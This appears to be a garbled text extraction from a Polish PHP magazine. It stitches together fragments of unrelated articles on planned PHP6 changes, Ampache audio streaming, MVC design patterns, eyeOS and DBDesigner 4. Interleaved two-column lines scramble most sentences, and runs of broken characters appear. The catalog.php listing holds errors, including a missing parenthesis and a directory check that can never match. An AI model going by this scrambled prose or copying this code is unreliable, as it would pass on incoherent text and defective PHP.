– PHP Collaboration Project siejszy od żądania klienta. Taki stan rze- dy potrzebne jest wsparcie dla Unicode).
System przy kompilacji ogłosi błąd, jeśli basedir pozostanie mimo wszystko czę- dl() dostępny tylko
wymagane biblioteki nie będą dostępne. ścią PHP. z poziomu SAPI
Mówiąc krótko: trzeba będzie instalować Każde SAPI będzie rejestrować użycie tej
kolejny pakiet w celu skompilowania PHP. Słowo kluczowe 'var' aliasem funkcji w razie potrzeby, przy czym jedynie
'public' CLI oraz zagnieżdżone SAPI będą mogły
Żegnamy register globals W PHP4 słowo kluczowe 'var' używane korzystać z tej funkcjonalności. W żadnym
Tak, tak... nadszedł w końcu czas, aby było wewnątrz klas. W PHP5 postępo- innym miejscu nie będzie ona dostępna.
pożegnać się z register globals. Wy- wanie takie prowadziło do powstawania
chodzi na to, że PHP6 definitywnie koń- ostrzeżenia (przy korzystaniu z trybu E_ FastCGI zawsze włączone
czy erę skryptów pisanych w stylu PHP3 STRICT). Ostrzeżenie to ma być usunię- Kod FastCGI będzie wyczyszczony i za-
(i generalnie wszelkich skryptów wyko- te w PHP6, jako że słowo kluczowe 'var' wsze włączony dla CGI SAPI. Nie będzie
rzystujących zmienne globalne). Jedy- ma być aliasem słowa kluczowego 'pu- możliwości wyłączenia tej funkcjonalności.
nym wyjściem z tej sytuacji będzie prze- blic'. Jest to miłe udogodnienie, tyle, że
pisanie istniejącego kodu w poprawny energia osób które poświeciły swój czas Długie tablice usunięte
sposób. Jest to dość śmiały, aczkolwiek na usuwanie wspomnianych ostrzeżeń Ciekaw jestem, czy Czytelnicy pamiętają
już od dawna potrzebny krok ze względu po wprowadzeniu PHP5, poszła w pew- jeszcze zmienne globalne HTTP _ * _ VARS.
na aspekt bezpieczeństwa. nym sensie na marne. Cóż, w przypadku jeśli ktoś nie używa
$ _ GET, $ _ POST, itd. – proponuję rozpo-
Magic Quotes usunięte Zwracanie przez referencję cząć to robić, gdyż bardzo prawdopodob-
Wraz z ogłoszeniem PHP6, magic qu- powoduje błąd ne jest, że od PHP6 możliwość stosowa-
otes znikną najprawdopodobniej raz na Konstrukcje w stylu $foo =& new Std- nia długich tablic będzie niedostępna (pod
zawsze. W przypadku ich użycia rzuca- Class() bądź function &foo będą rzucać groźbą wystąpienia E_CORE_ERROR
ny będzie wyjątek E_CORE_ERROR. wyjątek E_STRICT. w przypadku ich użycia).
Wprowadzone zmiany dotyczyć będą
magic _ quotes, magic _ quotes _ sybase Tryb kompatybilności zend.ze1 Zmiany w rozszerzeniach
i magic _ quotes _ gpc. usunięty Rozszerzenia XMLReader i XMLWriter
zend.ze1_compatibility _mode było za- zostaną przeniesione do podstawowej
Nigdy więcej Safe Mode wsze próbą podtrzymania starych zacho- dystrybucji i będą automatycznie włą-
Wiadomość ta ucieszy zapewne progra- wań PHP4. W związku z tym, że funkcjo- czone. Rozszerzenie ereg zostanie
mistów, których klienci domagają się włą- nalność ta nigdy w 100% nie działała po- przeniesione do PECL, co oznacza że
czania tego trybu. W tym momencie Safe prawnie, używanie jej w PHP6 będzie PCRE nie będzie możliwe do wyłącze-
Mode znika raz na zawsze. Krok ten po- prawdopodobnie zabronione, pod groźbą nia. Dzięki temu można będzie wpro-
wodowany jest właśnie złym rozumieniem wystąpienia wyjątku E_CORE_ERROR. wadzić nowe rozszerzenie do obsługi
tej funkcjonalności przez osoby postron- wyrażeń regularnych w oparciu o ICU.
ne. Wielu ludziom wydaje się, że działanie Usunięte wsparcie Niezmiernie przydatne rozszerzenie
w trybie Safe Mode w jakiś sposób zwięk- dla Freetype 1 i GD 1 Fileinfo będzie przeniesione do podsta-
sza bezpieczeństwo PHP, co oczywiście Wsparcie dla tych obydwu (bardzo, bar- wowej dystrybucji i automatycznie włą-
nie jest prawdą. Funkcjonalność open _ dzo starych) bibliotek będzie usunięte. czone.
R E K L A M A
Rozszerzenia silnika PHP Określanie typu zmiennej na podsta- magic quotes, długie tablice czy indekso-
64-bitowy typ całkowity: PHP zostanie- wie zwracanej wartości (ang. Type-hinted wanie napisów za pomocą {} będzie zwy-
także rozszerzone o całkowicie nowy, Return Values): dostaniemy wsparcie dla czajnie zmuszać programistów do stoso-
już 64-bitowy typ całkowity (int64). Nie określania typu zmiennej na podstawie wania poprawnych technik.
będzie typu int32. zwracanej wartości. Jak dotąd, nie okre- Z drugiej strony, wiele istniejących
Goto: komenda goto nie będzie do- ślono jeszcze, jak będzie wygadać skład- skryptów po prostu przestanie dzia-
dana, za to słowo kluczowe break bę- nia dla tego mechanizmu języka, jednak łać, zaś w dużej części takich przypad-
dzie rozszerzone o statyczną etykietę. koncepcja wygląda ciekawie. ków ponowne uruchomienie aplikacji bę-
Dzięki temu można będzie użyć konstruk- Wywoływanie funkcji dynamicznych dzie, bardzo trudne i czasochłonne. Czy
cji break foo w celu wykonania skoku do jako statycznych będzie powodować błąd to źle? Osobiście, nie sądzę – podejrze-
etykiety foo: umieszczonej w kodzie źró- E_FATAL: na dzień dzisiejszy można wy- wam jednak, że z tego powodu adaptacja
dłowym. woływać zarówno metody statyczne jak i PHP6 potrwa jeszcze wolniej niż miało to
Ifsetor(): wygląda na to, że funkcjonal- dynamiczne, bez względu na to, czy są miejsce w przypadku PHP5. A to raczej
ność ta będzie usunięta (niestety). Jed- faktycznie dynamiczne czy statyczne. nie wyjdzie nikomu na dobre. Jednak wy-
nak w zastępstwie tego operator ?: nie Od PHP6 wywoływanie funkcji dynamicz- daje mi się, że taki stanowczy krok musi
będzie wymagał środkowego parametru, nych jako statycznych będzie powodować być kiedyś wykonany. Jak już raz przez to
dzięki czemu możliwe będzie używanie powstanie błędu E_FATAL. przejdziemy, wtedy będzie o wiele łatwiej
następującej konstrukcji: rozwijać PHP o dalsze kolejne właściwo-
Rozszerzenia PHP ści, o których dziś trudno nawet marzyć.
$foo = $_GET['foo'] ?: 42; APC będzie umieszczone w podstawo- Warto w tym miejscu wspomnieć
wej dystrybucji: APC będzie standardo- o przedsięwzięciu PHP Collaboration Fra-
(jeśli foo is prawdą, to $foo będzie rów- wo dołączone do podstawowej dystry- mework (projekt Eclipse PHP i Zend PHP
ne 42). Taki zapis powinien zaoszczędzić bucji PHP, jednak nie będzie automa- Framework), które skupiło wokół siebie
trochę zbędnego pisania kodu, ale osobi- tycznie włączone. wielu czołowych graczy z branży IT: IBM,
ście wydaje mi się, że jego czytelność po- Wzmacniająca łata dla PHP: ła- Oracle, MySQL czy Intel. Przedsięwzię-
zostawia wiele do życzenia. ta ta ma implementować zbiór dodatko- cie to na dzień dzisiejszy postrzegane
foreach dla tablic wielowymiarowych: wych testów powiązanych z bezpieczeń- jest jako główny motor przyszłych sukce-
to zdecydowanie miła zmiana, która po- stwem PHP. Warto wymienić następują- sów platformy PHP. Wspomniana inicja-
zwoli łatwo iterować po listach tablic. ce usprawnienia w tym zakresie: ochro- tywa bazuje aktualnie na PHP5, jednak
na przed dzieleniem odpowiedzi HTTP, w przyszłości ten albo podobne projekty
foreach( $a as $k => list($a, $b)) podział allow _ url _ fopen na dwie czę- będą zapewne wspierać PHP6.
sci: allow _ url _ fopen i allow _ url _ in- Na koniec, w ramach ciekawostki war-
{} kontra []: na dzień dzisiejszy przy od- clude, automatyczne włączenie allow _ to zaznaczyć, że twórcy PHP nie postrze-
woływaniu się do poszczególnych zna- url _ fopen i automatyczne wyłączenie gają platformy J2EE jako rywala i techno-
ków w napisach możliwe jest używa- allow _ url _ include. logii odniesienia dla dalszego rozwoju PHP.
nie zarówno notacji {} jak i []. Jednak E_STRICT dołączone z E_ALL: to Za technologię, z której chcą czerpać po-
już od PHP5.1 notacja {} będzie powo- coś naprawdę poważnego! Wiadomości mysły, uważają raczej Microsoft .NET.
dować rzucanie wyjątku E_STRICT zaś na poziomie E_STRICT będą automatycz- W związku z tym można się spodziewać,
od PHP6 będzie ona całkowicie niedo- nie dołączone do E_ALL. Jest to zdecydo- że w przyszłości wiele rozwiązań zastoso-
stępna. Dodatkowo przy pomocy [] bę- wany ruch w stronę przymusowej edukacji wanych w PHP6 będzie opierać się wła-
dzie można odwoływać się do fragmen- programistów w zakresie stosowania wła- śnie na pomysłach stosowanych w .NET.
tów napisu i korzystać z funkcjonalności ściwych praktyk programowania w PHP. Zainteresowanym polecam lektu-
oferowanej przez array _ slice (na przy- Koniec z notacją <%: oznacza to ko- rę pełnego sprawozdania ze spotkania
kład: [2,]). W mojej opinii jest to bardzo niec wspierania tagów w stylu ASP, nadal w Paryżu; jest ono dostępne pod adre-
pomocne rozszerzenie. pozostanie jednak skrócony tag <?. sem: http://www.php.net/~derick/meeting-
notes.html n
Zmiany związane Podsumowanie
z obiektowością Mówiąc krótko: PHP6 w zdecydowany
Statyczne Wiązanie (ang. Static Binding): sposób wyznacza nowe interesujące kie-
O autorze
wprowadzone będzie nowe słowo kluczo- runki i przeciera nowe ścieżki. Wygląda
we, aby pozwolić na wykonywanie póź- na to, że twórcy technologii mają ambicje Richard Davey jest programistą posia-
nych wiązań statycznych. Wywołanie wymusić stosowanie właściwych technik dającym certyfikat Zend. Pracuje głów-
nie z aplikacjami związanymi z grami
static::static2(), będzie odpowiedzial- programistycznych poprzez odrzucenie
komputerowymi. Posiada własny blog
ne za ewaluację zmiennych statycznych starego paradygmatu kodowania w sty- poświęcony PHP, dostępny pod adre-
na etapie czasu wykonania. lu: cóż, POWINIENEŚ wykonać to w ten sem http://www.corephp.co.uk. Richard
Przestrzenie nazw (ang. Namespa- sposób, ale zawsze możesz zrobić to po od 1996 programuje aplikacje webowe
i nadal zdumiony jest kierunkiem w któ-
ces): wygląda na to, że ta kwestia jest staremu. Od PHP6 nie będzie już robie-
rym rozwija się Sieć i PHP. Autor żyje
ciągle nierozstrzygnięta... trzeba jeszcze nia rzeczy po staremu. Usunięcie takich wraz z żoną w Anglii.
trochę poczekać na ostateczną decyzję. naleciałości języka jak zmienne globalne,
Strumieniowa transmisja
dźwięku przez HTTP
z wykorzystaniem Ampache
Stopień trudności: lll
Karl Vollmer
A
mpache to wydawany na licen- wimy różne metody monitorowania piose-
cji GNU General Public Licen- nek aktualnie odsłuchiwanych przez użyt-
se interfejs WWW do strumie- kowników skryptu i zachowanie różnych
niowych transmisji różnych formatów pli- klientów.
ków dźwiękowych przez protokół HTTP.
Można go także stosować do nadzoro- Robimy odtwarzacz
wania serwerów MPD, Icecast2 i Moosic Przejdźmy do skatalogowania plików
(ta funkcja Ampache jest często stosowa- dźwiękowych. Proces ten będzie się opie-
na do zdalnej obsługi domowego zestawu rał na wzorcach nazw plików – do indek-
stereo). Przez ostatnie cztery lata kod Am- sowania według danych ze znaczników
W SIECI pache odpowiedzialny za strumieniowa- ID3 potrzebny byłby skrypt getid3() (http:
nie ewoluował od wykorzystania modułu
Mod::mp3 serwera Apache do samodziel- Co powinieneś
1. http://www.faqs.org/rfcs/ nej obsługi transmisji wzbogaconej o moż-
rfc2616.html wiedzieć...
liwość transkodowania, downsamplingu Konieczna jest podstawowa znajomość
– RFC 2616 (nagłówki HTTP)
2. https://svn.ampache.org/trunk/lib/ oraz wyszukiwania strumieni przez HTTP PHP i Apache. Wskazane jest też do-
stream.lib.php i HTTPS. świadczenie w konfiguracji PHP i znajo-
– Ampache Public SVN mość terminologii związanej z audycjami
(przykłady kodu) W niniejszym artykule stworzymy apli-
internetowymi.
3. https://svn.ampache.org/trunk/play/ kację do rekursywnego katalogowania pli-
index.php
– kod źródłowy, który wykorzystali-
ków muzycznych oraz wyświetlania tych Co obiecujemy...
śmy danych. Następnie zajmiemy się transmi- Stworzymy aplikację, która przygotuje re-
4. http://www.ampache.org kursywny katalog plików dźwiękowych
sjami strumieniowymi dźwięku przez pro-
– Ampache Development oraz umożliwi ich strumieniowanie oraz
5. https://ampache.bountysource.com tokół HTTP za pomocą PHP, a potem za- downsampling.
stosujemy downsampling. Na koniec omó-
Przyjrzyjmy się najpierw globalnej logami, można jednak użyć innego znaku, Na początku funkcja get_file_info()
zmiennej tekstowej $pattern. Zawiera ona na przykład myślnika (-) lub podkreślnika tworzy tablicę $results zawierającą jedno
wzorzec, który wskazuje tej funkcji, w jaki (_). W rezultacie wzorzec %a/%A/%t ozna- pole o nazwie file, które wskazuje na peł-
sposób nazwa pliku powinna zostać po- cza album/wykonawca/tytul. ną ścieżkę podaną jako parametr.
dzielona na części. Każda część jest opi- Nasza funkcja wymaga również Następnie dokonuje iteracji na wszyst-
sana kilkoma znakami (atrybutem) – tu- zdefiniowania innej zmiennej global- kich możliwych znacznikach wzorca zdefi-
taj użyjemy %t dla tytułu piosenki, %a dla nej: $GLOBALS['tags']. Jest to tablica niowanych w $GLOBALS['tags'].
albumu oraz %A dla wykonawcy. Wszyst- asocjacyjna wiążąca atrybuty z nazwa- To właśnie ta funkcja, wykorzystuje je
kie atrybuty w łańcuchu są rozdzielone mi znaczników, które będą użyte do ge- do konstrukcji wyrażeń regularnych, któ-
znakiem separatora – my używamy /, co nerowania wyników zwracanych przez re pomogą pobrać dane odpowiadające
oznacza, że części będą kolejnymi kata- funkcję. atrybutom wskazywanym przez znaczniki.
Otrzymane dane będą przechowywane w
$results pod nazwą każdego ze znaczni-
Listing 2. Zawartość /catalog.php
ków. Po zebraniu wszystkich potrzebnych
<?php informacji funkcja zwraca tablicę $results
set_time_limit(0); zawierającą nazwę pliku, album, nazwę
$dbh = mysql_connect('localhost','user','password') or die
wykonawcy i tytuł utworu.
('BŁĄD: nie można połączyć się z bazą danych');
$extensions = array('mp3','ogg','flac');
$tags = array('title'=>'%t','album'=>'%a','artist'=>'%A'); Umieszczenie informacji w bazie
$pattern = '%a/%A/%t'; //definicja wzorca nazwy pliku; ignoruje rozszerzenie danych
gather_files('/home/mymusic'); // rozpoczęcie zbierania plików Czas na utworzenie funkcji insert_file(),
function gather_files($path) {
która doda zebrane informacje (podane
$handle = opendir(stripslashes($path)); // otwiera katalog
while ( false !== ( $file = readdir($handle) ) ) { jako parametr) do bazy danych. Dane zo-
$file = addslashes($file); // konieczne do uniknięcia ' w nazwach plików staną oczyszczone, a z bazy będą pobie-
if ($file == "." AND $file == "..") { continue; } rane oddzielne elementy. Aby je uporząd-
@chdir(stripslashes($path); kować, użyjemy funkcji sql_escape(), któ-
$full_file = stripslashes($path."/".$file);
rą zresztą będziemy musieli utworzyć.
$full_file = str_replace("//","/",$full_file);
if (is_dir($full_file)) {gather_files($full_file); continue;} Jest ona dostosowana do MySQL, więc w
$info = pathinfo($full_file); // pobierz dane o pliku przypadku korzystania z innej bazy należy
if (in_array($info[‘extension’],$GLOBALS['extensions'])) { ją odpowiednio zmodyfikować. Po oczysz-
$file_info = get_file_info($full_file); // pobierz informacje o pliku czeniu elementów skorzystamy z funkcji
insert_file($file_info);}
PHP filesize() w celu pobrania rozmia-
} // zakończ, jeśli bieżący katalog
@closedir($handle); // zamknij uchwyt katalogu ru pliku — informacja ta zostanie umiesz-
} czona w rekordzie bazy danych, który
function get_file_info($full_file) { również zostanie dodany (będzie potrzeb-
$results = array('file'=>$full_file); ny podczas transmisji). Musimy też utwo-
foreach ($GLOBALS['tags'] as $name=>$tag) {
rzyć zapytanie SQL i wykonać je za pomo-
$preg_pattern = str_replace($tag,"(.+)",$GLOBALS['pattern']);
$preg_pattern = preg_replace("/\%\w/",".+",$preg_pattern); cą mysql_query() na uchwycie bazy da-
$preg_pattern = "/" . str_replace("/","\/",$preg_pattern) . "\..+/"; nych $GLOBALS['dbh']. Dzięki temu dane
preg_match($preg_pattern,$full_file,$matches); zostaną dodane do bazy.
$results[$name] = stripslashes($matches[1]);
}
return $results;
Kurtyna w górę
} Skatalogowaliśmy już muzykę i zapisali-
function insert_file($data) { śmy dane o utworach w bazie danych. Te-
$title = sql_escape($data['title']); raz musimy znaleźć sposób, aby je wy-
$album= sql_escape($data[‘album’]); świetlić. Na Listingu 3 przedstawiono pro-
$artist = sql_escape($data['artist']);
sty interfejs (index.php), który wyświetla
$file = sql_escape($data['file']);
$size = filesize($data['file']); całą kolekcję. Skrypt ten pokazuje wszyst-
$sql = "INSERT INTO `music` (`title`,`album`,`artist`,`file`,`size`) kie utwory, co mogłoby znacznie spowol-
VALUES"." ('$title','$album','$artist','$file','$size')"; nić jego wykonywanie w przypadku du-
$db_results = mysql_query($sql, $GLOBALS['dbh']); return true; żych zbiorów muzycznych, ale dla na-
}
szych potrzeb jest odpowiedni, a w dodat-
function sql_escape($string,$dbh=0) {
if (!is_resource($dbh)) { $dbh = $GLOBALS['dbh']; } ku można go łatwo rozbudować.
if (function_exists('mysql_real_escape_string')) { Połączymy się z bazą danych przy
$string = mysql_real_escape_string($string,$dbh); użyciu wyrażenia or_die(), co zatrzy-
}else { $string = mysql_escape_string($string); } ma wykonywanie skryptu w razie błędu
return $string; }
połączenia. Uchwytem bazy danych jest
?>
$GLOBALS['dbh']. Następnie wykonuje-
my proste zapytanie SELECT * FROM music
W
poprzednim artykule na przy- Nazwane wyjątki
kładzie prostego frameworka – dlaczego warto je
MVC pokazaliśmy wam, jak stosować
w praktyce można zaimplementować trzy Po pierwsze dodaliśmy trochę kodu
wzorce programistyczne: Strategy, Com- sprawdzającego poprawność zwraca-
posite i Decorator. Posłużyły nam one do nych obiektów. PHP nie jest językiem
zbudowania klasy FrontControllerImpl, ścisłego typowania, lepiej więc się za-
implementującej wzorzec architektonicz- bezpieczyć i sprawdzić, czy zwracane
ny FrontController. informacje są właściwego typu. O po-
W tym artykule zaprezentujemy wam, jawieniu się błędu informujemy poprzez
W SIECI jak w naszym framewroku można wyko-
rzystać wzorce Adapter, Transfer Object
i Intercepting Filter. Pokażemy, jak stosu- Co należy wiedzieć...
Powinieneś znać podstawy programo-
1. http://flexi.sourceforge.net/ jąc kompozycję i delegację można rozbu- wania obiektowego w PHP5. Przydatna
– tu umieściliśmy tworzony
dować funkcjonalność klasy FrontControl- będzie również lektura artykułu wprowa-
przez nas Framework
2. http://www.artima.com/ lerImpl. dzającego w tematykę wzorców projekto-
designtechniques/ Zanim przejdziemy do omawia- wych, który ukazał się w poprzednim nu-
compoinh.html – kiedy sto- merze PHP Solutions.
sować kompozycję, a kiedy nia wspomnianych wzorców wprowa-
dziedziczenie dzimy drobne zmiany w klasie Front-
3. http://www.zend.com/php/
design/ – projektowanie apli-
ControllerImpl . Na Listingu 1a poka- Co obiecujemy...
kacji w PHP5 zana jest implementacja nowej wersji Poznasz trzy kolejne wzorce projektowe
4. http://www.developer.com/ (Adapter, Transfer Object i Intercepting
tej klasy. Zmiany wydają się dość po- Filter) i ich praktyczne wykorzystanie w
design/article.php/3345121
– implementacja wzorców ważne, ale są łatwe do wytłumacze- rozbudowie naszego frameworka.
projektowych w PHP5 nia.
Listing 3a. Przykładowa implementacja interfejsu Listing 4. Nowa wersja Fron Controllera. Zastosowanie
LocaleResolvingStrategy kompozycji zwiększa jego możliwości
klasy MCacheActionResolverStrategy
i przystosować ją do działania z no- Listing 5a. Implementacja klasy McacheActionResolverStrategy
wym mechanizmem cachowania. Czyn-
class MCacheActionResolverStrategy implements ActionResolvingStrategy
ność tę można powtarzać dalej, tzn. {
w momencie, gdy będziemy chcieli do- private $_actionRequestParamName;
dać kolejny mechanizm cachowania private $_memcache;
ponownie skopiujemy kod i utworzy-
public function __construct($actionRequestParamName, $memcacheHost,
my kolejną klasę implementującą in-
$memcachePort)
terfejs ActionResolverStrategy. I w tym {
momencie w naszych głowach powin- $this->_actionRequestParamName = $actionRequestParamName;
no zapalić się czerwone światełko, pod $this->_memcache = new Memcache();
którym powinien migać napis Czy aby $this->_memcache->connect($memcacheHost, $memcachePort);
}
to najprostsze rozwiązanie jest najlep-
sze. Naszym zdaniem nie. public function resolveAction(HttpRequest $request)
Za każdym razem, gdy w waszym {
kodzie pojawia się potrzeba skopiowa- $actionName = $request->getParam($this->_actionRequestParamName);
nia kodu, powinniście się dobrze zasta-
if ($actionName != '')
nowić, czy nie można tak zmienić kodu,
{
aby go nie powtarzać. Zduplikowany kod return $this->_memcache->get($actionName);
jest jednym z największych wrogów każ- }
dego programisty. Jak więc rozwiązać else
ten problem? Najlepiej byłoby uniezależ- {
throw new RuntimeException('Nie wyspecyfikowano akcji do wywołania!');
nić się od implementacji jakiegokolwiek
}
mechanizmu cachowania obiektów. Po- }
służy nam do tego wzorzec Adapter. Kod
naszego frameworka będzie zależny je- }
dynie od interfejsu CacheService imple-
Listing 5b. Klasa CacheActionResolverStrategy, która może pobierać obiekty z
mentowanego przez klasy, za którymi
dowolnego mechanizmu cachującego implementującego interfejs CacheService
ukryta będzie obsługa mechanizmów ca- interface CacheService
chowania. Na Listing 5b prezentuje kla-
se CacheActionResolverStrategy, która {
public function set($key,$data);
może pobierać obiekty z dowolnego me-
public function get($key);
chanizmu cachującego implementujące-
public function remove($key);
go interfejs CacheService. Aby cacho- public function exists($key);
wanie ponownie zadziałało, potrzebuje- }
my teraz jedynie adapterów, które będą class CacheActionResolverStrategy implements ActionResolvingStrategy
{
delegować działanie do Memcacha i Ca-
private $actionRequestKey;
cheLita. Listing 5c pokazuje implementa-
private $cacheService;
cję Adaptera dla CacheLite.
Dzięki oddzieleniu API mechani- public function __construct($actionRequestKey, CacheService $cacheService)
zmów cachujących od klas ActionRe- {
$this->setActionRequestKey($actionRequestKey);
soverów udało się stworzyć mechanizm
$this->setCacheService($cacheService);
cachowania wspólny dla całego frame-
}
worka. Teraz w dowolnym miejscu, w public function resolveAction(HttpRequest $request)
którym będzie potrzebne cachowanie {
obiektów, wystarczy, że będziemy wy- $actionName = $request->getVar($this->getActionRequestKey());
magać klasy implementującej interfejs
if ($this->getCacheService()->exists($actionName))
CacheService.
{
Drugim przykładem wykorzystania return $this->getCacheService()->get($actionName);
wzorca Adapter jest interfejs View opi- }
sany powyżej. W środowisku PHP istnie- else
{
je kilka szablonów renderujących strony.
throw new ObjectDoesnotExistsInCacheException(
Najbardziej znany to oczywiście Smar-
'Nie wyspecyfikowano akcji do wywołania!');
ty, ale sporo zwolenników ma też PHP- }
TAL. Ponadto, pamiętajmy, że dane, któ- }
re przesyłamy do użytkowników, nie za-
// gettery i settery zostały pominięte
wsze muszą mieć postać stron HTML,
}
czasami mogą to być pliki CSV, XML, a
nawet PDF-y. Nie jesteśmy więc w sta-
����������������
��������������� ��
������
��������������� ��
���������
����������
�������������
������������� ��
����
���������
�������������������
Intercepting Filter {
$this->setCacheEngine(new Cache_Lite($options));
Pisząc aplikację często zdarza się, że }
pewne operacje musimy powtarzać w public function set($key,$data)
każdym skrypcie na jego początku i koń- {
return $this->getCacheEngine()->save($data,$key);
cu (ang. preprocessing i postproces-
}
sing). Należą do nich na przykład otwie- public function get($key)
ranie połączenia do bazy i rozpoczyna- {
nie transakcji lub też otwieranie sesji. return $this->getCacheEngine()->get($key);
Tam gdzie dostęp do stron jest chronio- }
public function remove($key)
ny hasłem, jedną z pierwszych operacji,
{
jaką wykonujemy, jest sprawdzanie czy return $this->getCacheEngine()->remove($key);
osoba, która wywołuje daną stronę, jest }
zalogowana. public function exists($key)
Jeżeli korzystamy z jakiegoś fra- {
if ( $this->getCacheEngine()->get($key) )
meworka MVC nasz problem sprowa-
{
dza się do wprowadzania odpowiednie- return true;
go kodu w pliku, który wywołuje Front }
Controller. Jeżeli aplikacja składa się z
niezależnych skryptów, możemy w każ- return false;
}
dym z nich umieszczać odpowiednie in-
// gettery i settery zostały pominięte
cludy – będą one wykonywać pożądane }
przez nas działania. Każde z tych roz-
wiązań ma swoje wady i zalety. W przy-
C
elem projektu jest opracowanie wym rogu ekranu umieszczono małą ikonę
graficznego środowiska spełnia- umożliwiającą wylogowanie oraz zegar cy-
jącego wszystkie potrzeby infor- frowy pokazujący aktualny czas.
matyczne firm i użytkowników domowych
za pomocą PHP i serwera WWW. eyeOS Aplikacje, czyli
ma wszędzie i w każdej chwili zapewniać zamieniamy czarno-
dostęp do takich aplikacji, jak procesor biały TV na kolorowy
tekstu, terminarz, menedżer plików czy Kliknijmy w znajdującą się na belce apli-
komunikator. kacji ikonę z koncentrycznymi kręgami.
Pojawi się okno aplikacji eyeHome, od-
Uruchomienie eyeOS powiednika Mojego Komputera w MS
Po zainstalowaniu eyeOS (patrz Ramka In- Windows (Rysunek 1). Jak widać, jest
stalacja), np. w katalogu localhost/eyeos/, ono podzielone na dwa panele: lewy za-
uruchamia się go poprzez wprowadze- tytułowany Actions i prawy bez podpisu.
nie podstawowego URL w przeglądarce in-
ternetowej. Wyświetli się ekran logowa-
W SIECI nia, na którym można też wybrać język in- Co należy wiedzieć...
Powinieneś znać podstawy obsługi śro-
terfejsu. Po zalogowaniu zobaczymy ekran dowisk graficznych.
z ładną tapetą. U góry okna znajduje się bel-
1. http://www.eyeos.org
ka aplikacji (oficjalnie zwana dokiem aplika-
– strona domowa projek-
tu eyeOS cji) z ikonami: można tu wybrać jedną z wbu- Co obiecujemy...
2. http://www.eyeapps.org Po przeczytaniu artykułu będziesz wie-
dowanych aplikacji, które omówimy później, dział jak uruchomić i wykorzystać własny
– repozytorium aplikacji
eyeOS lub dodać nową za pomocą pomarańczowej system eyeOS.
ikony ze znakiem + po prawej. W dolnym le-
DBDesigner 4 – odpowiednik
Oracle Designera
Stopień trudności: lll
Pierre HEBEL
D
BDesigner jest narzędziem gra- umożliwia import takich plików, a tak-
ficznym, które wspomaga analizę że pomoże nam w zaprojektowaniu ba-
istniejącej bazy danych lub kon- zy w MySQL-u oraz włączeniu do niej
cepcji nowej i współpracuje z PHP i My- struktury istniejących danych.
SQL-em. Pokażemy to na konkretnym,
z życia wziętym przykładzie: przenosze- Interfejs użytkownika
niu danych ze starego systemu bazoda- DBDesigner 4 ma wygodny w obsłu-
nowego. dze, intuicyjny interfejs okienkowy, po-
zwalający na szybkie zaznajomienie
Problematyka się z aplikacją. Przedstawiamy go na
Pewne przedsiębiorstwo aktualizu-
W SIECI je swoje oprogramowanie bazodano-
Co należy wiedzieć...
we, które zostało napisane w Cobolu i Wymagana jest podstawowa umiejęt-
działa na maszynach typu Mainframe. ność pracy z PHP i MySQL-em. Przy-
1. http://www.fabforce.net datna będzie również choćby minimalna
– oficjalna strona
Zmiana będzie polegała na zastąpieniu
wiedza teoretyczna na temat relacyjnych
DBDesigner 4 starych aplikacji nowymi przy zachowa-
baz danych.
2. http://dev.mysql.com/tech- niu danych oraz ich struktury. Nie wie-
resources/interviews/mike-
my jeszcze, jakich konkretnie aplikacji
Co obiecujemy...
zinner.html Pokażemy, jak przy użyciu DBDesigne-
– wywiad (po angielsku) będziemy używali, poza tym, że obsłu- ra stworzyć model bazy danych i uczy-
z Michaelem G. Zinnerem,
twórcą DBD4. gą naszych danych zajmie się MySQL. nić z niego działającą bazę, do której
3. http://www.fabforce.net/ Przeniesiemy więc dane w postaci in- będziemy przenosili dane z baz istnie-
downloads.php jących, a także jak w prosty sposób ge-
tegralnej ze starych baz do MySQL-a,
– wersje dystrybucyjne nerować kod PHP odpowiedzialny za ob-
DBDesignera 4 korzystając z plików CSV oraz XML. sługę tej bazy.
Użyjemy w tym celu narzędzia, które
Rysunku 1, przy czym naniesione nu- 7. Panel typów danych: pomaga w two- Tworzenie tabeli
mery oznaczają odpowiednio: rzeniu nowych oraz określaniu istnie- Aby utworzyć strukturę nowej tabeli, kli-
jących typów danych (w tym ich przy- kamy ikonę Nowa tabela na pasku za-
1. Menu główne: udostępnia komplet pisywaniu do grup). dań, a następnie umieszczamy ją w ob-
funkcji, parametrów i zasobów DBDe- 8 Panel modelu bazy danych: umożli- szarze roboczym. Przejdźmy teraz do
signera 4. wia szybki dostęp do wszystkich tabel edycji tabeli: w tym celu klikamy na niej
2. Pasek narzędzi: bezpośredni dostęp danego modelu. kilkakrotnie lub otwieramy menu kontek-
do funkcji modelowania graficznego stowe prawym przyciskiem myszy i wy-
(ikony). Czas na modelowanie bieramy opcję Edytuj obiekt.
3. Pasek statusu: informuje o aktualnym Następna czynność, która nas czeka Czas określić parametry tabeli. Za-
stanie wykonywanej pracy. to modelowanie. Aby się za nie zabrać, czniemy od zmiany nazwy z Table_nn (nn
4. Strefa modelowania graficznego: tu otworzymy plan pracy i zapiszemy nowy – numer tabeli, np. 01) na Ident_agent.
znajduje się model graficzny bazy da- model poprzez wejście do menu główne- Gdy przejdziemy do do listy kolumn w
nych jest to główne atelier graficzne, go: Plik -> Nowy oraz Plik -> Zapisz ja- tym samym oknie, program automatycz-
pozwalające na łatwe modelowanie ko... nie utworzy pierwszą kolumnę i uczy-
bazy danych. W tym momencie możemy wybrać ni ją kluczem głównym, a także określi
5. Reprezentacja graficzna przykładowej miejsce w którym zapiszemy nasz plik wszystkie jej parametry, takie jak typ da-
tablicy bazodanowej. (domyślnie jest nim folder instalacyjny nych, NOT NULL (kolumna NN) czy AU-
6. Panel nawigacyjny: plan modelu gra- DBDesignera). Plik naszego modelu bę- TO INCREMENT (kol. AI). Dwie ostatnie
ficznego bazy danych, umożliwiający dzie nosił nazwę MCDTEST i zostanie pozycje będą zaznaczone, co jest nor-
wybranie jego konkretnego fragmentu zachowany w formacie XML, co umoż- malne w przypadku klucza głównego.
oraz jego pomniejszanie i powiększa- liwi jego łatwe wykorzystanie przez in- Przejdźmy do utworzenia nastę-
nie. ne aplikacje. pujących pól: Nazwisko, Imie, Data_
Tworzenie dokumentacji
Rysunek 3. Model mcdtest
Gdy już skończycie wasz model, będzie-
cie zapewne chcieli stworzyć dokumen- wpisujemy nazwę pliku i zapisujemy ob- DBDesignera wybieramy plugins -> Html-
tację. DBD4 pomoże wam także w tej raz jako BMP lub PNG. Report. Następnie wybieramy zdefiniowa-
kwestii. ny wcześniej obszar (region), którego ra-
Sporządzanie raportu na port ma dotyczyć, wybieramy dodatko-
Eksport obrazu do pliku podstawie bazy (plugin we ustawienia i klikamy na ikonę Execu-
